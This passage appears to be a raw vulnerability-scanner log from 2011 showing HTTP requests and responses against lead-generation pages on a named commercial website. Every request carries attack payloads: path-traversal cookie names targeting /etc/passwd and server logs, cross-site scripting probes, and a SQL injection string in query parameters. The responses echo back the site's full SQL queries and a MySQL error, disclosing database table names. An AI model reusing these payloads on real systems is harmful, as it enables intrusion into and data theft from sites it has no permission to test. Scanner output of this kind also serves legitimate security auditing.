OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:26:03 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=j836bi4plnuj9pbmbo7iu0clq5; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/parl00/project.php

/ppc/leadflow/parl00/project.php

http://www.insideup.com/ppc/leadflow/parl00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/parl00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:27:09 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=6hr2g3rud7uupus7m31485c9g3; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/parl00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/bulo00/project.php

/ppc/leadflow/bulo00/project.php

http://www.insideup.com/ppc/leadflow/bulo00/project.php?catId=30005&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	30005
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/bulo00/project.php?catId=30005&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:27:19 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=n5hg8lkmiscark5lpoeuadar45; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select 